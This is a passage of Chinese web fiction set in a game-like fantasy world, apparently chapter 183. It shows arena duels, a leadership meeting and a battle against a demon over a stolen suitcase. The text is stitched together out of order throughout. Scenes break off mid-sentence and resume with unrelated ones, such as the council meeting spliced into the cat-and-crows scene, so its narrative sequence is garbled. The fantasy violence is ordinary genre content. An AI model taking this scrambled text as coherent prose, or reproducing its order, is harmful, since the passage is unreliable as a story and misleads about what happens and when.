“我的身体有过一点特殊改造。”宋白玉说，“所以的确比常人活力充沛一点，不过我也挺享受这种状态的。” 方羲“哦”了一声，倒也没有深问，不过她回忆了一下，黑天鹅给的个人信息资料里，好像没有说到这一点，难道这背后有什么特殊隐情？ 世界忽然闪烁了一下。收藏家。 她知道这个游戏ID，也记得很清楚。 三十七天之前，踏樱购买了这名横空出世的傀儡师所改造的残肢材料，一朵由鲜血灌溉的玫瑰。 而黏附在踏樱灵魂上的异端，也被收藏家的傀儡直接撕扯、捕获。 她将这朵玫瑰寄生在自己的洋伞上，化作力量的一部分。 在这之后，“收藏家”种种惊人之举，彻底在无数真实玩家心中打下烙印。 因为信息被刻意封锁，普通玩家、包括三千名之后的新晋玩家或许对收藏家的存在不甚了解，甚至完全不知情。 但踏樱是新晋前十之一，不会错过这种晃动失乐园世界的大新闻。 踏樱竖起耳朵，悄悄听着其他玩家对收藏家崇拜之情。 她内心一时间纠结万分。 ……明明白鸦也是一颗新星！她肯定也可以创造更多惊人的战绩！（当然，收藏家也很好！） 但现在，白鸦却消失了。 半个月过去了，连新晋玩家们也快忘记白鸦的存在了。 白鸦是前往哪个危险副本了？是遇到什么危险了吗？ 但在昨天，白乌鸦的专属系统也给了踏樱回复，表示她的生命体征一切正常，让踏樱不必担心。 方羲微微侧目，护栏之外是荒漠和雪山，空气之间弥漫着曼陀罗的香味，前方的修道院建筑有一瞬替换成女神的石像。 “女神”发现了她。 “女神”在注视着她。伞尖一划，长出一截锋利的尖刃，在虚假的蓝天之下，反射出金亮的光芒。 踏樱这次没有再使用范围类的花瓣攻击。 她想，如果只有增益的话，说不定对白鸦来说还远远不够。 万一白鸦深受重创，灵魂异常，是她无法修复的情况该怎么办？ 漫天飞舞的刀片悬浮在踏樱四周，淡色的眼眸落下一瞥，轻轻一跃，瘦削的身体轻而易举跳出狂风骤雨般的攻击圈。 猎人皱了皱眉头，但他很快捕捉到踏樱可能落地的范围。 飞镖落下，穿裂大地。 判断错误。 踏樱轻盈的身影神不知鬼不觉站在他的身上，洋伞的尖刃刺穿对手的非致命之处。 猎人有些惊惧地转过头，毫无所觉地抓住踏樱故意丢下的破绽，躲开攻击。 好快！ 踏樱说：“如果这不是游戏，你早就死了。” 猎人轻慢的脸色这一刻消失得无影无踪。 明明对方的身体根本没有自己强壮、高大，跳跃的姿态过于优雅、华丽，甚至还在战场上身着画风不搭调的裙子。 但看向他的目光，却比自己还要更像一名猎人，压迫感十足。 踏樱彻底操控着整场竞技场的战斗走向，开始施展武器新开发的攻击技能。 她必须要更加强大，手段更加残忍，毫不留情。 她不想成为一个因为实力不足，而无法跟上眼睛脚步的废物。 竞技场无法随便退出，而且猎人身上都是一些非致命伤，所以这场1v1对战，被踏樱硬生生拖到半个小时之后才结束。 【胜利者：踏樱。】 在等待竞技场传送的间隙，踏樱没有把伞尖收起，而是对着猎人致命的咽喉。 “我本来也不想用这种恶心的手段，也没打算只针对一个对手来完成我的武器练习。”踏樱轻轻笑了几声，“可是谁让你——这么口无遮拦呢？” 猎人眼底的骄傲黯淡了一点。 踏樱冷哼一声，终于收起武器，被竞技场自动传送离开。 武器没有想象中顺手，还是回去个人空间再改造一下吧。 也不知道白鸦究竟什么时候回来，有点想和她一起刷副本。 ‘也不知道收藏家能不能顺利回来……’ 踏樱的心脏忽然扑通一跳，瞳孔微微瞪大。 “呃、呃……应该是我瞎想太多了。”踏樱自言自语道，竭力控制着自己思绪不去往深处思考。 “就是错觉！我果然就是想太多了……” “女神”移开了视线，又消失了。 纯净的天空，开始坠落新的游戏规则，还长出一双手，轻易地捏碎了人偶书写的文字。 冷风呼啸的声音，血液沸腾的声音，武器颤鸣的声音，迷失者藏在白鸦肚子里发出痛苦呜咽的声音，在这一刻纷乱地交错重叠，像是永恒那样久，长到根本无法打破。 方羲又习惯性抬手压了一下自己疯狂跳动的左眼，从地面上站起，轻轻拍了一下手掌。 “各位。” 哪怕没有多余的声音，不下放强硬的命令，人偶师随意的一举一动，也瞬间吸回所有玩家的注意力。 他们立刻从地面上迅速起身，按照最初的三分队站立。 方羲看了一眼秦淮月，见她微微摇了摇头，也大概知道对方没有说之前发生的事。 “这里是第七百七十七层的外壳。”方羲声音平静，“而在六百六十六层之下，所有的外壳都已经倾覆，因为我们杀死了支撑这些外壳的根系，两只。至于更详细的过程，你们回头自己问秦队吧。” 除了共同经历这一切的秦淮月，其他玩家纷纷愣在原地，脸上露出无法抑制的狂喜，很多人想说点什么，但又硬生生止住了。 方羲伸手摸了摸一只大白鸦。 大白鸦们歪歪脑袋，忽而振翼而起，轻轻落在二十名人类的肩上。 “这是【吞死】的白色之傀儡。” 人偶师微微侧目，安静地盯着高高在上俯瞰一切的修道院，微笑道：“各位，它们只是临时来送一趟人，可不是用来当你们的棺材，可别死了。” “嘎嘎——” 她把斗篷帽子重新戴上，垂眼，脸庞落下一片阴影，又复而抬起，右手凝现出雕刻刀，脚底踩踏出无数光辉的丝线。 “【修道院】通往最终的天国。” 人偶师声音的腔调忽然变得有些古怪、僵硬，却铿将有力，黑色的眼眸仿佛跃动着不可战胜的光辉。 “我知道脚下的这片大地，几乎超出你们承受的极限，但是再坚持一会吧。我们很快就到终点了，而且有我在，你们又不会有事。” “等出去之后，你们的名字一定不会被下一个百年遗忘。” 群鸦眨了眨血色的眼，抓着人类的肩，张开巨大的雪白羽翼。 从收藏家出现至今，她仅仅露面过一次，还是因为恶魔副本。 但无论是此前还是之后，收藏家一直是用线上系统的媒介，或者傀儡传话的方式来和他们交流。 只是，哪怕性格再迟钝、再不擅观察的首席玩家，在看见收藏家手中召唤出的武器时，也隐约明白了些什么。 观察新鲜血液，培养新星，也是密匙玩家需要做的事情。 即使上一代最强大的猎人符瑶，其战斗的黄金期也不超过十年。 但回归黑天鹅之后，没有任何一名首席玩家谈及这一点，更不可能向管理者们袒露太多细节——二十人的军用设备全部损坏，根本无法回溯战场。 即使聪明敏锐的楚嘉薇、孟逢霜等人，的确察觉到什么，但她们也难得破了例，没有深究。 因此这个秘密，也就被众人默契地压下。 疯苹果继续说：“如果你不缺材料，倒也没必要去和其他玩家抢资源。以我们的情况，需要的残肢材料早就饱和了。” 缺的是傀儡师。 江簌瞬间大喊无辜，强烈表示他怎么能是这种人呢？ 嗷了一会，江簌忽然感觉到有点不对劲，怎么好像少了个人讲话？ 转过头一看，江簌才发现宋白玉相当专心致志地盯着游戏面板。 “你干嘛呢？”方羲坐在猫猫旁边，终于收起造梦场的力量，从皮箱取出【异端第一医院出品的镊子x1、输液袋x2、输液针管x2、绷带x2、缝合针线x5、医用手套x2、消毒液x3、治愈药水x6……】 秦淮月几乎没受到什么伤，只是在外露的肌肤上有些许擦伤，还有面色微微发白，这是战后疲惫的象征。 所以方羲只取出了一些补充能量药水给秦淮月，剩下的医用道具给自己用。 “收藏家，先留给你自己吧。”秦淮月说，“我的军用设备也存储着不少物资。” “哦，那行。”方羲没在这种小事上纠结。 她打算用镊子把自己手脚上莫名其妙多长出的肉瘤逐个取出。 这番操作实在有点难度，因为肉瘤就像有意识的虫子一样，试图钻进更深一层的血肉，在皮肤下面凸起、飞快蠕动，但最终还是被眼明手快的方羲成功捕捉！ 肉瘤被镊子夹起，卑微地蠕动。 方羲不客气地发出嘲笑的声音，把肉瘤丢给猫猫解决。 秦淮月坐在侧边的椅子上，一时间感觉有些诡异，因为收藏家几乎面不改色，甚至一副自得其乐的样子，完全没有一丁点伤者的心态…… 不过，这这至少说明收藏家精神状态不错，刚才的战役应该没有超出她的力量消耗极限。 而且她现在似乎也帮不上什么忙——确切的说，收藏家不太需要她的帮忙。 如果是对待常规创伤，秦淮月身为一名优秀的士兵，必然比方羲更加擅长急救手段。 但收藏家现在身上，全是异端袭击留下的伤口。 “喵呜。” 猫猫满脸忧愁地看着它那不靠谱的主人，伸出爪爪，想要拍方羲却又不敢拍的样子。 方羲把寄生在自己身上的二十个鲜血凝结成的肉瘤、四十九个月亮碎片、八十三个菱形病毒细胞……以及三根橘色猫毛一一取出。 方羲原本平静的脸色，在取出猫毛的时候略显古怪，默默瞥了一眼旁边的小橘猫。 “喵喵喵～” 猫猫心虚地叫了几声，试图萌混过关。 “回去再给你刷毛。”方羲深沉地说。 取完多余的寄生物，身体瞬间轻松不少。不过说实话，刚刚在战斗的时候，方羲的确没什么感觉，可一旦脱离战场，这些痛感延迟般齐齐涌来。 疼死她了！ 方羲看似面不改色，实际上内心的小人在疯狂嗷嗷大叫，痛苦地咬手帕。 不过脸上刀割般的创伤没有再流血，按现实常理来说这是不合理的，于是方羲疑惑地自言自语了两句。 “因为你的异端抗性在发挥作用。”秦淮月轻声道，“这也算是玩家自愈能力的一部分，不过最好还是处理干净比较好。” 取完寄生物，方羲打开治愈药水，摘下脏兮兮沾满鲜血的手套，往自己手上倒了一点，然后涂抹在伤口处。 开裂的割伤随之诡异地愈合，方羲感到一阵强烈的痒意，竭力控制着自己不去抓挠。 然后看了一眼刚刚翻出来的两袋输液袋。 宋白玉的视线依然专注，但还是理所当然地接话：“请假啊。我之前攒了好几天的假还没用完呢。” “？？？”江簌惊呆了，“什么鬼？你想丢下我们一个人逍遥自在去？” 疯苹果也疑惑道：“这么突然？有什么急事吗？” “秘密。”宋白玉笑了笑。 他的游戏面板上，显示着方羲三小时发送的消息——因为刚刚一直在忙，宋白玉现在才看到这些信息。 南瓜搞不懂人类脑瓜子里多变的想法。 “这个人类真厉害。”南瓜忽然又看了看躺在病床上的秦淮月，感慨道，“她居然可以一个人走到这么远的地方。” 505的注意力也落回秦淮月身上。 显而易见，这是一名实力强大的猎人。 比她以前见过的任何帝国人类都要强大。 505忍不住打量了一番那只被南瓜从秦淮月身上拆卸下来的军用手环，发现2515年的科学技术已经远远超乎她的想象，比以前更加精妙。 里面应该装了不少东西…… 不过505的灵魂状态无法触碰实物，而且偷窥别人的【背包】好像也不太礼貌，所以505立刻打消了查看里面究竟装了什么东西的念头。 “不过……”505忽然说，“任何出发都有所目的。她为什么要来对她来说这么危险的地方？” “这……”南瓜犯难道，“我也不知道。不过我进这个副本的时候，外面的确有一个禁止进入的警示牌。” 505沉思两秒：“那只能等她清醒之后，再仔细问问了。对了，南瓜，你会下国际象棋吗？要不要来和我下一盘？” “我没有玩过。”南瓜沧桑地说，“我每天都忙于上班。” “我教你。” “扑克牌玩吗？” “可以试试。” 于是南瓜和505把秦淮月晾到一边，开始沉迷下棋和打牌。 第 183 章 第 183 章 秦淮月以为自己会死在这条路上。 在她穿过新的分界线，但身体却失去了最后一份力气，连意志也无法托举自己站起来的时候——整个人彻底摔到了地上。 粉身碎骨。 她听见自己骨头咯吱一声的断裂声。 但四周很快又被巨大的嗡鸣声淹没，除此之外什么也听不见。 她或许是高估了自己…… 江队也高估了她…… …… “我又赢了。你的技术真烂，怎么连一只南瓜也赢不过，下一盘我让让你吧。” “我！不！需！要！” “那好吧。” 这是……谁的声音？ 她这是在天堂吗？【金线】瞬间读懂了猎人的意图，好奇地甩了一下身体，和无数个同类凝结、变形。 【这是一段粗线】“材料，清点。” 猎人一夕最近刚好收获了一批新的残肢材料，符合踏樱的需求。 两人又恰好浮空岛偶遇，一夕就直接把东西转赠给她了。 “太好了，我把报酬打给你！”踏樱开心地说，“哇！这些材料的品质很高，这样我就可以轻松一点了。我打算用来改造我的武器，还差最后的细节修改。” 一夕一声不吭，定定地盯着踏樱逐个检查材料、又放进背包的重复动作。 “你怎么了？”踏樱感觉一夕似乎有些欲言又止，“有什么事情吗？需要我帮忙吗？” “……不是。”一夕有些踌躇，犹豫半响才轻声问道，“最近怎么没看见白乌鸦？我……给她发过消息，但她没有回复我。” 说话向来“简明扼要”的一夕，提到白乌鸦的时候，罕见地扩展了一下问话内容。 “啊……这个。”踏樱脸上露出一个很无奈的微笑，“上次我们一起刷副本的时候，不是发生了被真实异端袭击的意外吗？” 踏樱深深地叹了口气：“白鸦身上被缠上异端注视的BUFF，所以她最近只能待在个人空间，直到BUFF消除之后再来刷副本。” 这当然是谎言。 白鸦根本不会畏惧所谓的注视。 她只是不屑于参加游戏区域的非真实副本而已。 “至于消息这件事，你不用在意，因为白鸦回我消息也很敷衍，她经常已阅不回。”踏樱的声音也莫名其妙带上几分哀怨。 “这样。”一夕脸上露出一丝失落，但也没再深问下去。 踏樱轻轻瞥了一眼这名被评价为“第二个银月”的猎人。 慕强。 思维很纯粹，死脑筋。 换言之，不太聪明。 但踏樱在她身上，敏锐地嗅到了同类的气息。 明明，她的言行举止，看上去都是一个优秀的士兵，遵守规则的乖乖好学生。 “草莓气泡水呢？”踏樱随口问，“你们今天没有一起活动吗？” “有事，不上线。”一夕又恢复了平常的说话习惯。 踏樱极其高效率地整理完材料，说：“下次我见到白鸦，我帮你跟她说一声，让她回复你的消息。” “谢谢你。”一夕微愣了一下。 踏樱干脆利落地和对方告别，徒步来到浮空岛公用的竞技场，这里的功能其实和商业城的训练场差不多，但一般只用来1v1战斗训练。 不过使用者的水平，可就远远高于商业城平均等级低于三级的普通玩家。而且因为参与者不多，系统无法根据实力或职业来匹配，因此双方实力有时候差距悬殊也很常见。 幸运的话，说不定能遇上想要装酷耍威风的密匙玩家，趁机讨教学上个半分。 踏樱迅速前往等待区认证身份，在她操控游戏面板的时候，还听见了其他玩家的议论声。 昨天浮空岛发生了一件大事，因此今天在浮空岛活动的玩家比往常多。 【今日仅开放十个战斗场，您已进入等待队列，倒计时：24分39秒……】 今天人好多！明明以前都不用排队的，有时候甚至要等对手！ “收藏家在杀死那条根系之后，居然没有选择回归游戏世界吗？难道她想要继续带队走下去？也不知道收藏家能不能顺利回来……” “呸呸呸，你别乌鸦嘴行不行？” “我、我只是客观预测好吗！” “谁能像收藏家那样直接摧毁三百多层外壳？没有！怎么能用咱们这种凡人思维去揣测收藏家大佬！” “……你说得对，唉。我还是多提升下实力吧，万一哪天能我升级成为密匙玩家呢？说不定就有资格和收藏家合作（痴心妄想地傻笑）” 【“线”可以千变万化，既能做成止血的普通绷带、引路的风筝、振翼的千纸鹤、殴打不会说话之怪物的鞭子、送给食人藤的花圈……也能成为修复失乐园牢笼的新栏杆。】 【对某人来说，缔造奇异之物不过是随性而为的事情。不过她现在腾不出手来做更多的事情，所以需要你——需要一名最强大的猎人，来帮助她拖延屠夫的脚步。】 【在“你”的手中，它们会变成什么呢？】 她立刻把这段粗绳高高抛向屠夫，无数长短交错的金色丝线，圈起巨人支撑天地的身躯。 但收藏家只是提供了一个工具的媒介。 猎人轻轻吸了口气，握紧手中的粗绳，她得和这只高傲的异端打拉锯战。每一块经过无数次残酷训练的肌肉凸起，每一处陈年暗伤也因为突破极限的发力开始流血。 三分力才能完美控制好金色粗绳的力量，免得它们又一次溃散。 七分力可以让屠夫感觉到一丝刺痛，但没有在意。 十分力可以让屠夫注意到不自量力的蚂蚁，停下脚步，转过头。 如果秦淮月只是一个普通实力的猎人，自然无法承受神明投来的漠然一瞥。 但她是曾经涉足未知之境的顶级玩家，站在人类最前哨的强大士兵。 屠夫感到一丝惊讶——它一直以为，只有‘收藏家’是唯一值得警惕的人类，什么时候……人类之中什么时候又多了一个异类？为什么以前没有注意过？ 秦淮月再用出最后一份超越人体极限的力气。 “粗线”顺势吞食了猎人端上的代价，滴落的血液，飘荡在空气中极轻一缕的灵魂。 【“你”成功了。】 【你作为一名最强大的猎人，决定将某人的“线”转换为驯服猎物的缰绳。那些被缠上的猎物，将跪伏在蚂蚁的脚下，它们终于认清了蚂蚁与蚂蚁之间的区别。】 人偶师轻声道：“做得很好，接下来就是我的事了。” 一束束光辉贯穿垂落的书页。 花状般的神经条，被逐一打散、破碎。 滋啦——大地碎裂成一片蛛网。 世界响起暴风雨一样的呼啸。 落败者恶毒的诅咒声，拼命投射进微渺的心脏。 人偶师失去了托举身体的平面，即将高高地下坠，无数异端细胞黏附在长弓上，企图推弯她的方向。 可是，人偶师轻慢地笑了笑。 “喂，屠夫。” “我早就看见了你的弱点，那条愚蠢可笑的大脑神经条。” 她的武器，她的长弓。根本不需要特地瞄准什么，哪怕只是随意地一射，世界上最耀眼的光辉也能精准穿透一切。 人偶师放出最后一箭。 第六百六十六层外壳彻底坍塌。 其响起的震动，让运行了一百年——失乐园的大地发生了一瞬的地震，还有十四个系统的数据絮乱。 至于黑天鹅的管理者和密匙玩家们，尚未处理完收藏家缔造的三百三十三层外壳塌陷事件，后续所带来的巨大连锁效应。 然后，他们在2515年9月15日，又亲眼见证了失乐园的第二次震荡。 身处后台数据室的楚嘉薇，恍惚地停下任何动作——所有系统数据已经絮乱，哪怕想要调控些什么信息也做不到了。 她一时间也不知道该思考什么，但却一直在莫名其妙地笑，眼泪拼命地流。 思考害得傀儡师孟逢霜就此陨落、面目全非，令猎人符瑶荣光不在，让47名密匙玩家惨死其中的那场败役吗？ 思考那个故意作弄蚂蚁，以神明之躯，却做恶魔之行，从未真正出现过的异端吗？ 可现在，败役终于传来了回音。 至于人偶师那束震荡一切的光箭……也顺便，惊动了打着瞌睡的恶魔。 秦淮月艰难地睁开眼睛。“闭上你的乌鸦嘴！！！” “这两个人真的是活人？不会是异端的圈套吧？” “傻子能不能别来破坏气氛！！！” 方羲和秦淮月二人，在此刻仿佛化身动物园的大熊猫，接收着队友堪称诡异的眼神。 宋白玉话最多：“你们掉下列车之后发生啥了？严重吗？没事吧？要不要喝点水吃点东西？矿泉水？果汁？营养液？等等，收藏家你身上怎么有伤…这伤怎么看上去这么红？！镜子快来救命！！！” 宋白玉的声音逐渐从激动转变为惊恐。 方羲哽了一下，脑子简直嗡嗡嗡地响。她只能微微点头，让林镜子上前给自己治疗：“其实没什么大碍。” 和包括秦淮月在内的任何一名首席玩家相比，方羲觉得自己简直是个当之无愧的脆皮，不过主打一个修复力强。虽然皮箱丢了，只能在过渡带临时捡点残肢道具凑合用一下，但其实现在还能正常活动。 林镜子上前简单检查了一下，声音有些颤抖地反问：“没什么大碍？” 收藏家身上明显全是被无数异端啃食寄生的创伤，虽然经过人为的处理，留下很多条手术缝线般的痕迹，但很显然还没康复。 方羲摸摸下巴，相当神色自若地说：“是啊。” 这下换其他玩家沉默了。 疯苹果想了想问：“收藏家，我们先在原地休整一会？” “可以。” 疯苹果立刻驱赶这些激动得仿佛化身为狗子的猎人：“各位，别挤在一团。” 于是猎人们的轰炸目标瞬间从收藏家转移为秦淮月，而其他四名造梦家则留在方羲旁边给她治疗。 宋白玉忍不住侧目瞅了几眼，想了想，从猎人人群中退了出来，仿佛狗屁膏药一般加入五个人当中。 造梦家们看了他一眼，倒也没赶人。 一只不明蓝色生物在旁边看了好一会，终于等不下去了，上前猛地抱住方羲，嗷嗷大叫：“主人！我好想你！我受不了这群大笨蛋了！还有还有，有一只臭鸦还欺负我！你一定要替我做主！” 方羲：“啥？什么臭鸦？” 有几只脾气不太好的大白鸦，听见夏青禾的恶人先告状，忍不住扑腾扑腾翅膀。 大白鸦开始啄人。 夏青禾继续大声嚷嚷抱怨，而缩在斗篷里的猫猫大概是被吵醒了，从方羲怀里钻了个脑袋出来，打了个哈欠。 猫猫看见了这群大白鸦。 猫猫眼睛一亮。这次紧急会议的参与者，仅仅只有四人，分别是楚嘉薇、孟逢霜、符瑶和江同尘。不过，似乎还有部分玩家在门口等待传召。 楚嘉薇点击虚空，展开一片半透明蓝色屏幕，上面的地图显示着一大堆密集白点，都是被收藏家绞杀的低危副本。 “这些低危副本全是恶魔的触须，像是毒瘤一样生生不息。”江同尘扯下一点绷带，露出一只血眼，“比起这个，我更想问。为什么系统通知中，副本参与者只有收藏家和银月两个人？其他玩家呢？他们迷失在副本里了？” 傀儡师江同尘的语气有些咄咄逼人。 符瑶皱了皱眉头：“收藏家还没有回来，一切事情不能轻易下决断。” 江同尘漠然地看了一眼符瑶，忽然冷笑道：“我对收藏家毫无异议！我当然相信她，她说不定真的能带领所有队友全胜归来，只是……算了。” 她只是想问，灵魂状态不正常的秦淮月，为什么还要参加这次危险任务？ 她们曾经共同出入未知之境，江同尘多少有点忧虑这名猎人的安危。 符瑶冷声道：“在我眼里，秦淮月的【腐蚀度】在可控范围之内，没有比她更适合的猎人了。如果不是因为我的身体机能退步得太厉害，恐怕无法精确执行收藏家的命令，我倒是想去参加这次任务。” “她有权利拒绝这次安排。” “这是她的责任。”孟逢霜忽然接话道，“也是我们的责任，我们没有后退的资格。” 符瑶的声音也变得更加严厉：“失去眼睛的你，似乎变得很奇怪。明明希望用极端手段打破困境，又对旧队友存在私心？你以前是这样矛盾的人吗？” 江同尘一顿，目光落在楚嘉薇身上。 楚嘉薇看了她一眼，平静回答：“我想，你知道收藏家救回被异端寄生的玩家的事情，也知道她找我们要了一份死亡名单。” 这名接替黑天鹅最高权力的长官，手段似乎更加温和、更加绵里藏针一些。 “虽然跟随出行的都是首席玩家，但也只有二十人，的确不太符合参加大型高危副本的要求……但，我想收藏家有其他的考量。” 江同尘一时间有些哑言。 收藏家知道自己被倾注了这么沉重的信任吗？ 换作是她，这份信任背后隐含的恐惧，几乎能让她恶心得干呕。 江同尘没再说话。 “现在，我们有更重要的事情需要商讨。”楚嘉薇话锋一转，“新晋玩家的真实试炼原定在10月31日，但收藏家回归的时间不定。” 符瑶说：“的确，从这些低危副本的特性来看，她说不定是进入了【恶魔】的老巢，我们根本无法估计收藏家想走到哪一步。” “把真实试炼推迟吧。”孟逢霜说。 江同尘略感惊讶挑了挑眉。 卸下最高权力的孟逢霜，说话语气似乎比往常温和一点，因此多耐心解释了几句：“因为我们无法确定，收藏家之后是否需要援助，那个副本难度毕竟超过了系统的量化标准。” “站在乐观的角度来看——如果收藏家又掀起了什么风波，我们也需要分配大量兵力去处理后续的事情。”符瑶轻叹道，“选拔新的玩家，这已经不是现阶段最重要的事情了。” 江同尘沉思一会，也认可道：“真实试炼至少会开展三个月以上，而实力最精英的首席玩家现在都在收藏家手上。我们的确要在游戏世界留有一部分的玩家，以便随时响应可能的意外。” “那么，就将真实试炼暂且搁置吧。”楚嘉薇平静地说，“等到收藏家回来之后，一切事情落幕，再开始选拔新的血液。” 楚嘉薇在游戏面板操作了一番，很快修改了有关真实试炼的规则和时间。 “说到这个。”孟逢霜忽然悠悠道，“收藏家活动的时间线，似乎与某位奇怪的新晋玩家恰好错开。” 楚嘉薇的指尖顿了顿，抬眼，望向这名只执着结果、而轻慢生命的傀儡师，曾经的暴君。 另外两名玩家，也在此刻静默下来。 空荡荡的会议大厅，此时冷寂得可怕，只偶尔响起游戏面板的提示音。 “一名觉醒概念型天赋的造梦家。对方意外沾染上了【异端注视】的特殊BUFF，导致在副本中遭遇高危异端的袭击。”楚嘉薇的声音也变得有些冷淡，“昨天，我刚好使用过官方账号，询问过对方现在的情况” “询问的结果是？” “她说，要等到注视BUFF消失，才能离开个人空间。”楚嘉薇一锤定音，“孟逢霜，她们是完全不同的人。” “……” 孟逢霜微微愣了一下，她倒是没预料是这个答案。收藏家身处副本之内，的确无法给出回答。 但她依然觉得有些不太对劲。 “会议结束。”楚嘉薇说，“各位，我先离开了。” 不过，她在门口前顿住脚步，忽然回头，深深看了一眼这两名曾经的队友。 她们的行事、性格，已经彻底面目全非。 楚嘉薇也有些没想到，自己居然是三个人之间，剩下的最“正常”的一个。 “符瑶，别对新晋玩家太苛刻了。”楚嘉薇丢下几句话，“祝翎应该有转告过你们，觉醒概念型造梦天赋的玩家，似乎和新晋前十的踏樱是固定队友。” “……我知道了。” 猫猫开始捕鸟。 “喵！！！” “嘎！！！” “小猫？”夏青禾愣了愣，注意力瞬间转移可爱的橘色四脚兽上，双眼瞬间变成星星眼。 夏青禾开始捉猫。 方羲默默移开视线，这一切的吵闹都与她毫无关系。 “咦？原来收藏家你找回了一个替行者？”程蔓野一时间有些惊喜，率先问出了其他玩家的心声。 “两个。”方羲甩了一下左手，露出手腕上挂着月亮眼球和黑山羊之角的项链，“艾莉克萨也在，不过我让她保持这种形态了。” 宋白玉左看右看，忽然发现好像少了些什么东西，疑惑地问：“收藏家，你的皮箱呢？” 方羲沉默了。 方羲不愿说话。 方羲内心的小人蹲在墙角，默默流泪。 宋白玉观察着方羲的微表情，在一刻仿佛读懂了什么：“不见了？” “……被恶魔偷走了。”方羲冷漠地说，“问题不大，我总会拿回来的。” 林镜子包扎的动作一顿。 疯苹果问：“恶魔？” 但竞争者没想到这么久了，139号店铺还不下架换主！ 方羲自然不知道这一点，现在只觉得很心塞，不太愿意支付这个莫名其妙的罚款。 她郁闷地敲击着游戏面板，觉得自己难得这么有仪式感！这么精心制作的宣传广告居然没人看得到！简直太浪费了！ 方羲指尖一顿，忽然灵机一动。 进入黑天鹅的系统界面，点开“★非专业收藏家一号终极粉丝团★”的群聊，快速翻了一下聊天记录。 一开始水聊的消息还很多，但越到后面，这种消遣的对话就越来越少，最新的消息还是在9月15日，一大堆密匙玩家冒泡，纷纷刷屏99+条。 “希望你们无伤归返。” “@非专业收藏家”她看了一眼方羲身上的伤，脸上的笑容淡了几分，又转头打量了几眼站在旁边的玩家，不高兴地撇撇嘴，但没说什么。 方羲摸了摸春醒的头，又打量了几眼四周的情况。修道院的最深处已经完全被春醒控制住了，只是她没有怎么攻击女神像，所以在外界看来，这一层外壳还在正常运行。 非要形容的话，那就是这里被‘冻结’了。 不过，方羲注意到春醒的手上，出现了好几道被衣袖遮盖的裂痕，露出人偶内部空荡荡黑暗的一面。 “你有没有看见之前捡回来的皮箱？”方羲想了想问。 春醒回忆了一下，表示没有：“你又弄丢东西了吗？” ……方羲沉默了一下，这个“又”倒是用得很巧妙。 方羲悲伤地说：“这次不是我搞丢的，是被恶魔偷走的！唉，我全部家当都在里面。” “你种的苹果放在里面？” “对。” “新买的家具呢？工具呢？材料呢？还有那些代金券呢？” “……呃，好像都在里面。” 春醒也沉默了。 坐垫的巨叶子仿佛在这一刻焉了几分。 首席玩家有些惊奇地观察着收藏家和春醒的交流风格，发现她们之间有种灵魂共振的熟捻感，难怪收藏家刚刚说“第一个造物在等着她”。 夏青禾好奇地戳了戳春醒的脸蛋，发现手感和艾莉克萨不同，一个是正常的柔软，另一个就像冷冰冰的石头。 春醒幽幽地看了她一眼，总感觉这个新同类身上有种熟悉的气息，家里好像又多了一个捣蛋鬼。嗯，和主人一样不靠谱。 “我本来也想杀死这个雕像。”春醒认真起来，开始说正事，“可是雕像之后藏着一只大怪物呢，而且是它把我偷偷丢在这里的！我只能等你来再说了。唉唉，主人，我真的很无聊，而且我不怎么喜欢吃石头。” 方羲抬眼，看向女神像。对方在拼命晃动身体，却根本无法逃脱藤蔓的禁锢。 “春醒，把藤蔓松一下吧。”方羲举起长弓，“杀死她——杀死背后的恶魔，我们就可以回家休息了。说实话，这个副本我也待得有些腻了。” 载着藤蔓人偶的巨叶子，轻轻让开位置，好让方羲视野更开阔一些。 缠绕在女神像、攀爬在巨大环形城墙的藤蔓，松动。 女神像脸上的绿色缓缓淡去，缓缓吐出一颗红石榴，坠落在地。 薄薄一层的鲜血，覆盖大地，越过人类的脚下。 “■■？” 首席玩家的脑海响起一片嗡嗡嗡的声响，耳朵流出血。视野竟然发红了一瞬，如坠深渊。 夏青禾瞬间变出二十个分身，分别拉起这些脆弱的人类，难得认真地说：“笨蛋们，跟着我，主人现在可没空管你们。” 方羲微微眯了眯眼，看见躲藏在巨型雕像之后，一个影影绰绰的黑影，成千上万个守卫在庇护着恶魔的身体。 恶魔露出一个头，好声好气地问：“你真的不打算跟从我吗？我真的难以理解，你既不想要【彼时的梦境】，也不想要【永恒的智慧】，连女神洒落的祝福你也不想要，只是在捡拾一些没有意义的碎片。你究竟想要什么呢？” 方羲平静地说：“把皮箱还给我——把这些你口中无聊的碎屑，没有价值的工具，人类和傀儡死亡的尸体还给我。” 指腹莫名其妙被弓弦割裂，血液滴落，连带着光箭也染上几分红色。 女神像的身体似乎越发巨大，石块都侵占了世界每一个角落，扭曲繁杂的红色穿插了石缝之间。 亘古不变的神像砸向大地。 染着血的光箭，骤然穿透女神像的权杖，还有红石榴。 她任由身体向下坠落，一根藤蔓迅速缠绕住她的手脚，轻轻将人类带上万物搭建的平面。 恶魔的巨大黑影，缓缓飘荡在上空，带起一片女神像碎裂的石头，像是宇宙的陨石。 方羲抓住藤蔓，平衡好自己的身体，下意识转头看了一眼同样失去大地支撑的队友。 倒是没什么事。 只是，有的人意识已经不太清醒，女神像被砸碎之后，世界开始露出【天国】的一角，连恶魔也露出真正的身躯，普通人类根本承受不住这种‘重力’。 她倒是无所谓，因为早就习惯了。 时间拖得越久，就越危险。 方羲摸了摸藤蔓，发现平面居然开始腐蚀、变薄。 春醒在受伤。 她的人偶身躯已经消失，彻底变回了本体，巨型藤蔓在驱逐陨石的袭击，阻拦守卫、异端细胞的趁虚而入。 秦淮月艰难地斩杀四周不断落下的异端，全是扭曲不成型的肉块，攻击力却史无前例的强大！ 林镜子在队友和夏青禾的庇护下，在拼命拉高方羲不断濒临死亡的生命值。 猫猫有些艰难地把陨石当作垫脚石——它毕竟不是天空的生物，作战力在这一刻大大下降。 艾莉克萨的脸色也有些茫然，她第一次见到这么多的敌人，同时汇集在一起。镰刀好像有点磨损了，怎么办。 “好吧，我把这些垃圾还给你。” “如果你能接住的话。” 恶魔诡谲的声音在上空飘荡。 异端细胞们高高举起一个雕刻着白色飞鸟的复古皮箱，又故意丢下大地。 这么高的地方，普通的凡物怎么能完好无损呢？ 方羲沉默地看了一眼，轻轻皱起眉头：“你这样让我很烦。” 刷屏完之后，便彻底没了下文。 方羲脸色有点茫然，看了看外面渐黑的天色，客厅也没开满灯，视野有些暗。 挂在手腕的上弦月眼球，忽然脱离项链，缓缓飘出窗外，飘向高空，把自己固定在最高之处，成为人偶世界的第十七个月亮。 缓缓洒下一片更亮的月光。 世界的星星朝她眨了眨眼睛。 “……” 方羲胸口有点发痒，这时候才有了一点“回来”的实感。 